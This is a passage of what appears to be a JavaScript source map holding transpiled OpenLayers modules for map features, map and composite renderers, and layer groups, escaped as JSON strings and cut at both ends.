* associated with a `geometry` key.\n */\n function Feature(opt_geometryOrProperties) {\n var _this = _super.call(this) || this;\n /***\n * @type {FeatureOnSignature<import(\"./events\").EventsKey>}\n */\n _this.on;\n /***\n * @type {FeatureOnSignature<import(\"./events\").EventsKey>}\n */\n _this.once;\n /***\n * @type {FeatureOnSignature<void>}\n */\n _this.un;\n /**\n * @private\n * @type {number|string|undefined}\n */\n _this.id_ = undefined;\n /**\n * @type {string}\n * @private\n */\n _this.geometryName_ = 'geometry';\n /**\n * User provided style.\n * @private\n * @type {import(\"./style/Style.js\").StyleLike}\n */\n _this.style_ = null;\n /**\n * @private\n * @type {import(\"./style/Style.js\").StyleFunction|undefined}\n */\n _this.styleFunction_ = undefined;\n /**\n * @private\n * @type {?import(\"./events.js\").EventsKey}\n */\n _this.geometryChangeKey_ = null;\n _this.addChangeListener(_this.geometryName_, _this.handleGeometryChanged_);\n if (opt_geometryOrProperties) {\n if (typeof (\n /** @type {?} */ (opt_geometryOrProperties).getSimplifiedGeometry) === 'function') {\n var geometry = /** @type {Geometry} */ (opt_geometryOrProperties);\n _this.setGeometry(geometry);\n }\n else {\n /** @type {Object<string, *>} */\n var properties = opt_geometryOrProperties;\n _this.setProperties(properties);\n }\n }\n return _this;\n }\n /**\n * Clone this feature. If the original feature has a geometry it\n * is also cloned. The feature id is not set in the clone.\n * @return {Feature<Geometry>} The clone.\n * @api\n */\n Feature.prototype.clone = function () {\n var clone = /** @type {Feature<Geometry>} */ (new Feature(this.hasProperties() ? this.getProperties() : null));\n clone.setGeometryName(this.getGeometryName());\n var geometry = this.getGeometry();\n if (geometry) {\n clone.setGeometry(/** @type {Geometry} */ (geometry.clone()));\n }\n var style = this.getStyle();\n if (style) {\n clone.setStyle(style);\n }\n return clone;\n };\n /**\n * Get the feature's default geometry. A feature may have any number of named\n * geometries. The \"default\" geometry (the one that is rendered by default) is\n * set when calling {@link module:ol/Feature~Feature#setGeometry}.\n * @return {Geometry|undefined} The default geometry for the feature.\n * @api\n * @observable\n */\n Feature.prototype.getGeometry = function () {\n return /** @type {Geometry|undefined} */ (this.get(this.geometryName_));\n };\n /**\n * Get the feature identifier. This is a stable identifier for the feature and\n * is either set when reading data from a remote source or set explicitly by\n * calling {@link module:ol/Feature~Feature#setId}.\n * @return {number|string|undefined} Id.\n * @api\n */\n Feature.prototype.getId = function () {\n return this.id_;\n };\n /**\n * Get the name of the feature's default geometry. By default, the default\n * geometry is named `geometry`.\n * @return {string} Get the property name associated with the default geometry\n * for this feature.\n * @api\n */\n Feature.prototype.getGeometryName = function () {\n return this.geometryName_;\n };\n /**\n * Get the feature's style. Will return what was provided to the\n * {@link module:ol/Feature~Feature#setStyle} method.\n * @return {import(\"./style/Style.js\").StyleLike|undefined} The feature style.\n * @api\n */\n Feature.prototype.getStyle = function () {\n return this.style_;\n };\n /**\n * Get the feature's style function.\n * @return {import(\"./style/Style.js\").StyleFunction|undefined} Return a function\n * representing the current style of this feature.\n * @api\n */\n Feature.prototype.getStyleFunction = function () {\n return this.styleFunction_;\n };\n /**\n * @private\n */\n Feature.prototype.handleGeometryChange_ = function () {\n this.changed();\n };\n /**\n * @private\n */\n Feature.prototype.handleGeometryChanged_ = function () {\n if (this.geometryChangeKey_) {\n unlistenByKey(this.geometryChangeKey_);\n this.geometryChangeKey_ = null;\n }\n var geometry = this.getGeometry();\n if (geometry) {\n this.geometryChangeKey_ = listen(geometry, EventType.CHANGE, this.handleGeometryChange_, this);\n }\n this.changed();\n };\n /**\n * Set the default geometry for the feature. This will update the property\n * with the name returned by {@link module:ol/Feature~Feature#getGeometryName}.\n * @param {Geometry|undefined} geometry The new geometry.\n * @api\n * @observable\n */\n Feature.prototype.setGeometry = function (geometry) {\n this.set(this.geometryName_, geometry);\n };\n /**\n * Set the style for the feature to override the layer style. This can be a\n * single style object, an array of styles, or a function that takes a\n * resolution and returns an array of styles. To unset the feature style, call\n * `setStyle()` without arguments or a falsey value.\n * @param {import(\"./style/Style.js\").StyleLike} [opt_style] Style for this feature.\n * @api\n * @fires module:ol/events/Event~BaseEvent#event:change\n */\n Feature.prototype.setStyle = function (opt_style) {\n this.style_ = opt_style;\n this.styleFunction_ = !opt_style\n ? undefined\n : createStyleFunction(opt_style);\n this.changed();\n };\n /**\n * Set the feature id. The feature id is considered stable and may be used when\n * requesting features or comparing identifiers returned from a remote source.\n * The feature id can be used with the\n * {@link module:ol/source/Vector~VectorSource#getFeatureById} method.\n * @param {number|string|undefined} id The feature id.\n * @api\n * @fires module:ol/events/Event~BaseEvent#event:change\n */\n Feature.prototype.setId = function (id) {\n this.id_ = id;\n this.changed();\n };\n /**\n * Set the property name to be used when getting the feature's default geometry.\n * When calling {@link module:ol/Feature~Feature#getGeometry}, the value of the property with\n * this name will be returned.\n * @param {string} name The property name of the default geometry.\n * @api\n */\n Feature.prototype.setGeometryName = function (name) {\n this.removeChangeListener(this.geometryName_, this.handleGeometryChanged_);\n this.geometryName_ = name;\n this.addChangeListener(this.geometryName_, this.handleGeometryChanged_);\n this.handleGeometryChanged_();\n };\n return Feature;\n}(BaseObject));\n/**\n * Convert the provided object into a feature style function. Functions passed\n * through unchanged. Arrays of Style or single style objects wrapped\n * in a new feature style function.\n * @param {!import(\"./style/Style.js\").StyleFunction|!Array<import(\"./style/Style.js\").default>|!import(\"./style/Style.js\").default} obj\n * A feature style function, a single style, or an array of styles.\n * @return {import(\"./style/Style.js\").StyleFunction} A style function.\n */\nexport function createStyleFunction(obj) {\n if (typeof obj === 'function') {\n return obj;\n }\n else {\n /**\n * @type {Array<import(\"./style/Style.js\").default>}\n */\n var styles_1;\n if (Array.isArray(obj)) {\n styles_1 = obj;\n }\n else {\n assert(typeof ( /** @type {?} */(obj).getZIndex) === 'function', 41); // Expected an `import(\"./style/Style.js\").Style` or an array of `import(\"./style/Style.js\").Style`\n var style = /** @type {import(\"./style/Style.js\").default} */ (obj);\n styles_1 = [style];\n }\n return function () {\n return styles_1;\n };\n }\n}\nexport default Feature;\n//# sourceMappingURL=Feature.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/renderer/Map\n */\nimport Disposable from '../Disposable.js';\nimport { TRUE } from '../functions.js';\nimport { abstract } from '../util.js';\nimport { compose as composeTransform, makeInverse } from '../transform.js';\nimport { getWidth } from '../extent.js';\nimport { shared as iconImageCache } from '../style/IconImageCache.js';\nimport { inView } from '../layer/Layer.js';\nimport { wrapX } from '../coordinate.js';\n/**\n * @typedef HitMatch\n * @property {import(\"../Feature.js\").FeatureLike} feature Feature.\n * @property {import(\"../layer/Layer.js\").default} layer Layer.\n * @property {import(\"../geom/SimpleGeometry.js\").default} geometry Geometry.\n * @property {number} distanceSq Squared distance.\n * @property {import(\"./vector.js\").FeatureCallback<T>} callback Callback.\n * @template T\n */\n/**\n * @abstract\n */\nvar MapRenderer = /** @class */ (function (_super) {\n __extends(MapRenderer, _super);\n /**\n * @param {import(\"../PluggableMap.js\").default} map Map.\n */\n function MapRenderer(map) {\n var _this = _super.call(this) || this;\n /**\n * @private\n * @type {import(\"../PluggableMap.js\").default}\n */\n _this.map_ = map;\n return _this;\n }\n /**\n * @abstract\n * @param {import(\"../render/EventType.js\").default} type Event type.\n * @param {import(\"../PluggableMap.js\").FrameState} frameState Frame state.\n */\n MapRenderer.prototype.dispatchRenderEvent = function (type, frameState) {\n abstract();\n };\n /**\n * @param {import(\"../PluggableMap.js\").FrameState} frameState FrameState.\n * @protected\n */\n MapRenderer.prototype.calculateMatrices2D = function (frameState) {\n var viewState = frameState.viewState;\n var coordinateToPixelTransform = frameState.coordinateToPixelTransform;\n var pixelToCoordinateTransform = frameState.pixelToCoordinateTransform;\n composeTransform(coordinateToPixelTransform, frameState.size[0] / 2, frameState.size[1] / 2, 1 / viewState.resolution, -1 / viewState.resolution, -viewState.rotation, -viewState.center[0], -viewState.center[1]);\n makeInverse(pixelToCoordinateTransform, coordinateToPixelTransform);\n };\n /**\n * @param {import(\"../coordinate.js\").Coordinate} coordinate Coordinate.\n * @param {import(\"../PluggableMap.js\").FrameState} frameState FrameState.\n * @param {number} hitTolerance Hit tolerance in pixels.\n * @param {boolean} checkWrapped Check for wrapped geometries.\n * @param {import(\"./vector.js\").FeatureCallback<T>} callback Feature callback.\n * @param {S} thisArg Value to use as `this` when executing `callback`.\n * @param {function(this: U, import(\"../layer/Layer.js\").default): boolean} layerFilter Layer filter\n * function, only layers which are visible and for which this function\n * returns `true` will be tested for features. By default, all visible\n * layers will be tested.\n * @param {U} thisArg2 Value to use as `this` when executing `layerFilter`.\n * @return {T|undefined} Callback result.\n * @template S,T,U\n */\n MapRenderer.prototype.forEachFeatureAtCoordinate = function (coordinate, frameState, hitTolerance, checkWrapped, callback, thisArg, layerFilter, thisArg2) {\n var result;\n var viewState = frameState.viewState;\n /**\n * @param {boolean} managed Managed layer.\n * @param {import(\"../Feature.js\").FeatureLike} feature Feature.\n * @param {import(\"../layer/Layer.js\").default} layer Layer.\n * @param {import(\"../geom/Geometry.js\").default} geometry Geometry.\n * @return {T|undefined} Callback result.\n */\n function forEachFeatureAtCoordinate(managed, feature, layer, geometry) {\n return callback.call(thisArg, feature, managed ? layer : null, geometry);\n }\n var projection = viewState.projection;\n var translatedCoordinate = wrapX(coordinate.slice(), projection);\n var offsets = [[0, 0]];\n if (projection.canWrapX() && checkWrapped) {\n var projectionExtent = projection.getExtent();\n var worldWidth = getWidth(projectionExtent);\n offsets.push([-worldWidth, 0], [worldWidth, 0]);\n }\n var layerStates = frameState.layerStatesArray;\n var numLayers = layerStates.length;\n var matches = /** @type {Array<HitMatch<T>>} */ ([]);\n var tmpCoord = [];\n for (var i = 0; i < offsets.length; i++) {\n for (var j = numLayers - 1; j >= 0; --j) {\n var layerState = layerStates[j];\n var layer = layerState.layer;\n if (layer.hasRenderer() &&\n inView(layerState, viewState) &&\n layerFilter.call(thisArg2, layer)) {\n var layerRenderer = layer.getRenderer();\n var source = layer.getSource();\n if (layerRenderer && source) {\n var coordinates = source.getWrapX()\n ? translatedCoordinate\n : coordinate;\n var callback_1 = forEachFeatureAtCoordinate.bind(null, layerState.managed);\n tmpCoord[0] = coordinates[0] + offsets[i][0];\n tmpCoord[1] = coordinates[1] + offsets[i][1];\n result = layerRenderer.forEachFeatureAtCoordinate(tmpCoord, frameState, hitTolerance, callback_1, matches);\n }\n if (result) {\n return result;\n }\n }\n }\n }\n if (matches.length === 0) {\n return undefined;\n }\n var order = 1 / matches.length;\n matches.forEach(function (m, i) { return (m.distanceSq += i * order); });\n matches.sort(function (a, b) { return a.distanceSq - b.distanceSq; });\n matches.some(function (m) {\n return (result = m.callback(m.feature, m.layer, m.geometry));\n });\n return result;\n };\n /**\n * @abstract\n * @param {import(\"../pixel.js\").Pixel} pixel Pixel.\n * @param {import(\"../PluggableMap.js\").FrameState} frameState FrameState.\n * @param {number} hitTolerance Hit tolerance in pixels.\n * @param {function(import(\"../layer/Layer.js\").default<import(\"../source/Source\").default>, (Uint8ClampedArray|Uint8Array)): T} callback Layer\n * callback.\n * @param {function(import(\"../layer/Layer.js\").default<import(\"../source/Source\").default>): boolean} layerFilter Layer filter\n * function, only layers which are visible and for which this function\n * returns `true` will be tested for features. By default, all visible\n * layers will be tested.\n * @return {T|undefined} Callback result.\n * @template T\n */\n MapRenderer.prototype.forEachLayerAtPixel = function (pixel, frameState, hitTolerance, callback, layerFilter) {\n return abstract();\n };\n /**\n * @param {import(\"../coordinate.js\").Coordinate} coordinate Coordinate.\n * @param {import(\"../PluggableMap.js\").FrameState} frameState FrameState.\n * @param {number} hitTolerance Hit tolerance in pixels.\n * @param {boolean} checkWrapped Check for wrapped geometries.\n * @param {function(this: U, import(\"../layer/Layer.js\").default): boolean} layerFilter Layer filter\n * function, only layers which are visible and for which this function\n * returns `true` will be tested for features. By default, all visible\n * layers will be tested.\n * @param {U} thisArg Value to use as `this` when executing `layerFilter`.\n * @return {boolean} Is there a feature at the given coordinate?\n * @template U\n */\n MapRenderer.prototype.hasFeatureAtCoordinate = function (coordinate, frameState, hitTolerance, checkWrapped, layerFilter, thisArg) {\n var hasFeature = this.forEachFeatureAtCoordinate(coordinate, frameState, hitTolerance, checkWrapped, TRUE, this, layerFilter, thisArg);\n return hasFeature !== undefined;\n };\n /**\n * @return {import(\"../PluggableMap.js\").default} Map.\n */\n MapRenderer.prototype.getMap = function () {\n return this.map_;\n };\n /**\n * Render.\n * @abstract\n * @param {?import(\"../PluggableMap.js\").FrameState} frameState Frame state.\n */\n MapRenderer.prototype.renderFrame = function (frameState) {\n abstract();\n };\n /**\n * @param {import(\"../PluggableMap.js\").FrameState} frameState Frame state.\n * @protected\n */\n MapRenderer.prototype.scheduleExpireIconCache = function (frameState) {\n if (iconImageCache.canExpireCache()) {\n frameState.postRenderFunctions.push(expireIconCache);\n }\n };\n return MapRenderer;\n}(Disposable));\n/**\n * @param {import(\"../PluggableMap.js\").default} map Map.\n * @param {import(\"../PluggableMap.js\").FrameState} frameState Frame state.\n */\nfunction expireIconCache(map, frameState) {\n iconImageCache.expire();\n}\nexport default MapRenderer;\n//# sourceMappingURL=Map.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/renderer/Composite\n */\nimport MapRenderer from './Map.js';\nimport ObjectEventType from '../ObjectEventType.js';\nimport RenderEvent from '../render/Event.js';\nimport RenderEventType from '../render/EventType.js';\nimport { CLASS_UNSELECTABLE } from '../css.js';\nimport { checkedFonts } from '../render/canvas.js';\nimport { inView } from '../layer/Layer.js';\nimport { listen, unlistenByKey } from '../events.js';\nimport { replaceChildren } from '../dom.js';\n/**\n * @classdesc\n * Canvas map renderer.\n * @api\n */\nvar CompositeMapRenderer = /** @class */ (function (_super) {\n __extends(CompositeMapRenderer, _super);\n /**\n * @param {import(\"../PluggableMap.js\").default} map Map.\n */\n function CompositeMapRenderer(map) {\n var _this = _super.call(this, map) || this;\n /**\n * @type {import(\"../events.js\").EventsKey}\n */\n _this.fontChangeListenerKey_ = listen(checkedFonts, ObjectEventType.PROPERTYCHANGE, map.redrawText.bind(map));\n /**\n * @private\n * @type {HTMLDivElement}\n */\n _this.element_ = document.createElement('div');\n var style = _this.element_.style;\n style.position = 'absolute';\n style.width = '100%';\n style.height = '100%';\n style.zIndex = '0';\n _this.element_.className = CLASS_UNSELECTABLE + ' ol-layers';\n var container = map.getViewport();\n container.insertBefore(_this.element_, container.firstChild || null);\n /**\n * @private\n * @type {Array<HTMLElement>}\n */\n _this.children_ = [];\n /**\n * @private\n * @type {boolean}\n */\n _this.renderedVisible_ = true;\n return _this;\n }\n /**\n * @param {import(\"../render/EventType.js\").default} type Event type.\n * @param {import(\"../PluggableMap.js\").FrameState} frameState Frame state.\n */\n CompositeMapRenderer.prototype.dispatchRenderEvent = function (type, frameState) {\n var map = this.getMap();\n if (map.hasListener(type)) {\n var event_1 = new RenderEvent(type, undefined, frameState);\n map.dispatchEvent(event_1);\n }\n };\n CompositeMapRenderer.prototype.disposeInternal = function () {\n unlistenByKey(this.fontChangeListenerKey_);\n this.element_.parentNode.removeChild(this.element_);\n _super.prototype.disposeInternal.call(this);\n };\n /**\n * Render.\n * @param {?import(\"../PluggableMap.js\").FrameState} frameState Frame state.\n */\n CompositeMapRenderer.prototype.renderFrame = function (frameState) {\n if (!frameState) {\n if (this.renderedVisible_) {\n this.element_.style.display = 'none';\n this.renderedVisible_ = false;\n }\n return;\n }\n this.calculateMatrices2D(frameState);\n this.dispatchRenderEvent(RenderEventType.PRECOMPOSE, frameState);\n var layerStatesArray = frameState.layerStatesArray.sort(function (a, b) {\n return a.zIndex - b.zIndex;\n });\n var viewState = frameState.viewState;\n this.children_.length = 0;\n /**\n * @type {Array<import(\"../layer/BaseVector.js\").default>}\n */\n var declutterLayers = [];\n var previousElement = null;\n for (var i = 0, ii = layerStatesArray.length; i < ii; ++i) {\n var layerState = layerStatesArray[i];\n frameState.layerIndex = i;\n var layer = layerState.layer;\n var sourceState = layer.getSourceState();\n if (!inView(layerState, viewState) ||\n (sourceState != 'ready' && sourceState != 'undefined')) {\n layer.unrender();\n continue;\n }\n var element = layer.render(frameState, previousElement);\n if (!element) {\n continue;\n }\n if (element !== previousElement) {\n this.children_.push(element);\n previousElement = element;\n }\n if ('getDeclutter' in layer) {\n declutterLayers.push(\n /** @type {import(\"../layer/BaseVector.js\").default} */ (layer));\n }\n }\n for (var i = declutterLayers.length - 1; i >= 0; --i) {\n declutterLayers[i].renderDeclutter(frameState);\n }\n replaceChildren(this.element_, this.children_);\n this.dispatchRenderEvent(RenderEventType.POSTCOMPOSE, frameState);\n if (!this.renderedVisible_) {\n this.element_.style.display = '';\n this.renderedVisible_ = true;\n }\n this.scheduleExpireIconCache(frameState);\n };\n /**\n * @param {import(\"../pixel.js\").Pixel} pixel Pixel.\n * @param {import(\"../PluggableMap.js\").FrameState} frameState FrameState.\n * @param {number} hitTolerance Hit tolerance in pixels.\n * @param {function(import(\"../layer/Layer.js\").default<import(\"../source/Source\").default>, (Uint8ClampedArray|Uint8Array)): T} callback Layer\n * callback.\n * @param {function(import(\"../layer/Layer.js\").default<import(\"../source/Source\").default>): boolean} layerFilter Layer filter\n * function, only layers which are visible and for which this function\n * returns `true` will be tested for features. By default, all visible\n * layers will be tested.\n * @return {T|undefined} Callback result.\n * @template T\n */\n CompositeMapRenderer.prototype.forEachLayerAtPixel = function (pixel, frameState, hitTolerance, callback, layerFilter) {\n var viewState = frameState.viewState;\n var layerStates = frameState.layerStatesArray;\n var numLayers = layerStates.length;\n for (var i = numLayers - 1; i >= 0; --i) {\n var layerState = layerStates[i];\n var layer = layerState.layer;\n if (layer.hasRenderer() &&\n inView(layerState, viewState) &&\n layerFilter(layer)) {\n var layerRenderer = layer.getRenderer();\n var data = layerRenderer.getDataAtPixel(pixel, frameState, hitTolerance);\n if (data) {\n var result = callback(layer, data);\n if (result) {\n return result;\n }\n }\n }\n }\n return undefined;\n };\n return CompositeMapRenderer;\n}(MapRenderer));\nexport default CompositeMapRenderer;\n//# sourceMappingURL=Composite.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/layer/Group\n */\nimport BaseLayer from './Base.js';\nimport Collection from '../Collection.js';\nimport CollectionEventType from '../CollectionEventType.js';\nimport Event from '../events/Event.js';\nimport EventType from '../events/EventType.js';\nimport ObjectEventType from '../ObjectEventType.js';\nimport { assert } from '../asserts.js';\nimport { assign, clear } from '../obj.js';\nimport { getIntersection } from '../extent.js';\nimport { getUid } from '../util.js';\nimport { listen, unlistenByKey } from '../events.js';\n/**\n * @typedef {'addlayer'|'removelayer'} EventType\n */\n/**\n * @classdesc\n * A layer group triggers 'addlayer' and 'removelayer' events when layers are added to or removed from\n * the group or one of its child groups. When a layer group is added to or removed from another layer group,\n * a single event will be triggered (instead of one per layer in the group added or removed).\n */\nvar GroupEvent = /** @class */ (function (_super) {\n __extends(GroupEvent, _super);\n /**\n * @param {EventType} type The event type.\n * @param {BaseLayer} layer The layer.\n */\n function GroupEvent(type, layer) {\n var _this = _super.call(this, type) || this;\n /**\n * The added or removed layer.\n * @type {BaseLayer}\n * @api\n */\n _this.layer = layer;\n return _this;\n }\n return GroupEvent;\n}(Event));\nexport { GroupEvent };\n/***\n * @template Return\n * @typedef {import(\"../Observable\").OnSignature<import(\"../Observable\").EventTypes, import(\"../events/Event.js\").default, Return> &\n * import(\"../Observable\").OnSignature<import(\"./Base\").BaseLayerObjectEventTypes|\n * 'change:layers', import(\"../Object\").ObjectEvent, Return> &\n * import(\"../Observable\").CombinedOnSignature<import(\"../Observable\").EventTypes|import(\"./Base\").BaseLayerObjectEventTypes|'change:layers', Return>} GroupOnSignature\n */\n/**\n * @typedef {Object} Options\n * @property {number} [opacity=1] Opacity (0, 1).\n * @property {boolean} [visible=true] Visibility.\n * @property {import(\"../extent.js\").Extent} [extent] The bounding extent for layer rendering. The layer will not be\n * rendered outside of this extent.\n * @property {number} [zIndex] The z-index for layer rendering. At rendering time, the layers\n * will be ordered, first by Z-index and then by position. When `undefined`, a `zIndex` of 0 is assumed\n * for layers that are added to the map's `layers` collection, or `Infinity` when the layer's `setMap()`\n * method was used.\n * @property {number} [minResolution] The minimum resolution (inclusive) at which this layer will be\n * visible.\n * @property {number} [maxResolution] The maximum resolution (exclusive) below which this layer will\n * be visible.\n * @property {number} [minZoom] The minimum view zoom level (exclusive) above which this layer will be\n * visible.\n * @property {number} [maxZoom] The maximum view zoom level (inclusive) at which this layer will\n * be visible.\n * @property {Array<import(\"./Base.js\").default>|import(\"../Collection.js\").default<import(\"./Base.js\").default>} [layers] Child layers.\n * @property {Object<string, *>} [properties] Arbitrary observable properties. Can be accessed with `#get()` and `#set()`.\n */\n/**\n * @enum {string}\n * @private\n */\nvar Property = {\n LAYERS: 'layers',\n};\n/**\n * @classdesc\n * A {@link module:ol/Collection~Collection} of layers that are handled together.\n *\n * A generic `change` event is triggered when the group/Collection changes.\n *\n * @api\n */\nvar LayerGroup = /** @class */ (function (_super) {\n __extends(LayerGroup, _super);\n /**\n * @param {Options} [opt_options] Layer options.\n */\n function LayerGroup(opt_options) {\n var _this = this;\n var options = opt_options || {};\n var baseOptions = /** @type {Options} */ (assign({}, options));\n delete baseOptions.layers;\n var layers = options.layers;\n _this = _super.call(this, baseOptions) || this;\n /***\n * @type {GroupOnSignature<import(\"../events\").EventsKey>}\n */\n _this.on;\n /***\n * @type {GroupOnSignature<import(\"../events\").EventsKey>}\n */\n _this.once;\n /***\n * @type {GroupOnSignature<void>}\n */\n _this.un;\n /**\n * @private\n * @type {Array<import(\"../events.js\").EventsKey>}\n */\n _this.layersListenerKeys_ = [];\n /**\n * @private\n * @type {Object<string, Array<import(\"../events.js\").EventsKey>>}\n */\n _this.listenerKeys_ = {};\n _this.addChangeListener(Property.LAYERS, _this.handleLayersChanged_);\n if (layers) {\n if (Array.isArray(layers)) {\n layers = new Collection(layers.slice(), { unique: true });\n }\n else {\n assert(typeof ( /** @type {?} */(layers).getArray) === 'function', 43); // Expected `layers` to be an array or a `Collection`\n }\n }\n else {\n layers = new Collection(undefined, { unique: true });\n }\n _this.setLayers(layers);\n return _this;\n }\n /**\n * @private\n */\n LayerGroup.prototype.handleLayerChange_ = function () {\n this.changed();\n };\n /**\n * @private\n */\n LayerGroup.prototype.handleLayersChanged_ = function () {\n this.layersListenerKeys_.forEach(unlistenByKey);\n this.layersListenerKeys_.length = 0;\n var layers = this.getLayers();\n this.layersListenerKeys_.push(listen(layers, CollectionEventType.ADD, this.handleLayersAdd_, this), listen(layers, CollectionEventType.REMOVE, this.handleLayersRemove_, this));\n for (var id in this.listenerKeys_) {\n this.listenerKeys_[id].forEach(unlistenByKey);\n }\n clear(this.listenerKeys_);\n var layersArray = layers.getArray();\n for (var i = 0, ii = layersArray.length; i < ii; i++) {\n var layer = layersArray[i];\n this.registerLayerListeners_(layer);\n this.dispatchEvent(new GroupEvent('addlayer', layer));\n }\n this.changed();\n };\n /**\n * @param {BaseLayer} layer The layer.\n */\n LayerGroup.prototype.registerLayerListeners_ = function (layer) {\n var listenerKeys = [\n listen(layer, ObjectEventType.PROPERTYCHANGE, this.handleLayerChange_, this),\n listen(layer, EventType.CHANGE, this.handleLayerChange_, this),\n ];\n if (layer instanceof LayerGroup) {\n listenerKeys.push(listen(layer, 'addlayer', this.handleLayerGroupAdd_, this), listen(layer, 'removelayer', this.handleLayerGroupRemove_, this));\n }\n this.listenerKeys_[getUid(layer)] = listenerKeys;\n };\n /**\n * @param {GroupEvent} event The layer group event.\n */\n LayerGroup.prototype.handleLayerGroupAdd_ = function (event) {\n this.dispatchEvent(new GroupEvent('addlayer', event.layer));\n };\n /**\n * @param {GroupEvent} event The layer group event.\n */\n LayerGroup.prototype.handleLayerGroupRemove_ = function (event) {\n this.dispatchEvent(new GroupEvent('removelayer', event.layer));\n };\n /**\n * @param {import(\"../Collection.js\").CollectionEvent} collectionEvent CollectionEvent.\n * @private\n */\n LayerGroup.prototype.handleLayersAdd_ = function (collectionEvent) {\n var layer = /** @type {import(\"./Base.js\").default} */ (collectionEvent.element);\n this.registerLayerListeners_(layer);\n this.dispatchEvent(new GroupEvent('addlayer', layer));\n this.changed();\n };\n /**\n * @param {import(\"../Collection.js\").CollectionEvent} collectionEvent CollectionEvent.\n * @private\n */\n LayerGroup.prototype.handleLayersRemove_ = function (collectionEvent) {\n var layer = /** @type {import(\"./Base.js\").default} */ (collectionEvent.element);\n var key = getUid(layer);\n this.listenerKeys_[key].forEach(unlistenByKey);\n delete this.listenerKeys_[key];\n this.dispatchEvent(new GroupEvent('removelayer', layer));\n this.changed();\n };\n /**\n * Returns the {@link module:ol/Collection~Collection collection} of {@link module:ol/layer/Layer~Layer layers}\n * in this group.\n * @return {!import(\"../Collection.js\").default<import(\"./Base.js\").default>} Collection of\n * {@link module:ol/layer/Base~BaseLayer layers} that are part of this group.\n * @observable\n * @api\n */\n LayerGroup.prototype.getLayers = function () {\n return /** @type {!import(\"../Collection.js\").default<import(\"./Base.js\").default>} */ (this.get(Property.LAYERS));\n };\n /**\n * Set the {@link module:ol/Collection~Collection collection} of {@link module:ol/layer/Layer~Layer layers}\n * in this group.\n * @param {!import(\"../Collection.js\").default<import(\"./Base.js\").default>} layers Collection of\n * {@link module:ol/layer/Base~BaseLayer layers} that are part of this group.\n * @observable\n * @api\n */\n LayerGroup.prototype.setLayers = function (layers) {\n var collection = this.getLayers();\n if (collection) {\n var currentLayers = collection.getArray();\n for (var i = 0, ii = currentLayers.length; i < ii; ++i) {\n this.dispatchEvent(new GroupEvent('removelayer', currentLayers[i]));\n }\n }\n this.set(Property.LAYERS, layers);\n };\n /**\n * @param {Array<import(\"./Layer.js\").default>} [opt_array] Array of layers (to be modified in place).\n * @return {Array<import(\"./Layer.js\").default>} Array of layers.\n */\n LayerGroup.prototype.getLayersArray = function (opt_array) {\n var array = opt_array !== undefined ? opt_array : [];\n this.getLayers().forEach(function (layer) {\n layer.getLayersArray(array);\n });\n return array;\n };\n /**\n * Get the layer states list and use this groups z-index as the default\n * for all layers in this and nested groups, if it is unset at this point.\n * If opt_states is not provided and this group's z-index is undefined\n * 0 is used a the default z-index.\n * @param {Array<import(\"./Layer.js\").State>} [opt_states] Optional list\n * of layer states (to be modified in place).\n * @return {Array<import(\"./Layer.js\").State>} List of layer states.\n */\n LayerGroup.prototype.getLayerStatesArray = function (opt_states) {\n var states = opt_states !== undefined ? opt_states : [];\n var pos = states.length;\n this.getLayers().forEach(function (layer) {\n layer.getLayerStatesArray(states);\n });\n var ownLayerState = this.getLayerState();\n var defaultZIndex = ownLayerState.zIndex;\n if (!opt_states && ownLayerState.zIndex === undefined) {\n defaultZIndex = 0;\n }\n for (var i = pos, ii = states.length; i < ii; i++) {\n var layerState = states[i];\n layerState.opacity *= ownLayerState.opacity;\n layerState.visible = layerState.visible && ownLayerState.visible;\n layerState.maxResolution = Math.min(layerState.maxResolution, ownLayerState.maxResolution);\n layerState.minResolution = Math.max(layerState.minResolution, ownLayerState.minResolution);\n layerState.minZoom = Math.max(layerState.minZoom, ownLayerState.minZoom);\n layerState.maxZoom = Math.min(layerState.maxZoom, ownLayerState.maxZoom);\n if (ownLayerState.extent !== undefined) {\n if (layerState.extent !== undefined) {\n layerState.extent = getIntersection(layerState.extent, ownLayerState.extent);\n }\n else {\n layerState.extent = ownLayerState.extent;\n }\n }\n if (layerState.zIndex === undefined) {\n layerState.zIndex = defaultZIndex;\n }\n }\n return states;\n };\n /**\n * @return {import(\"../source/Source.js\").State} Source state.\n */\n LayerGroup.prototype.getSourceState = function () {\n return 'ready';\n };\n return LayerGroup;\n}(BaseLayer));\nexport default LayerGroup;\n//# sourceMappingURL=Group.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, 